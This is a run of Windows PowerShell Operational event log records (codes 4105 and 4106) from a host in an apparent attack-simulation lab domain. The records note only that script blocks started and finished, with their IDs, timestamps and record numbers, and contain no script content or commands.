Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052107
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052106
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052105
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052103
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052102
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052101
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052099
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052098
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052097
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052096
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052095
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052094
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052093
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052091
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052089
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052087
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052085
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052083
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052081
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052079
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052077
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052075
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052073
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052071
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052069
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052067
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052065
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052063
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052061
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052059
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052057
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
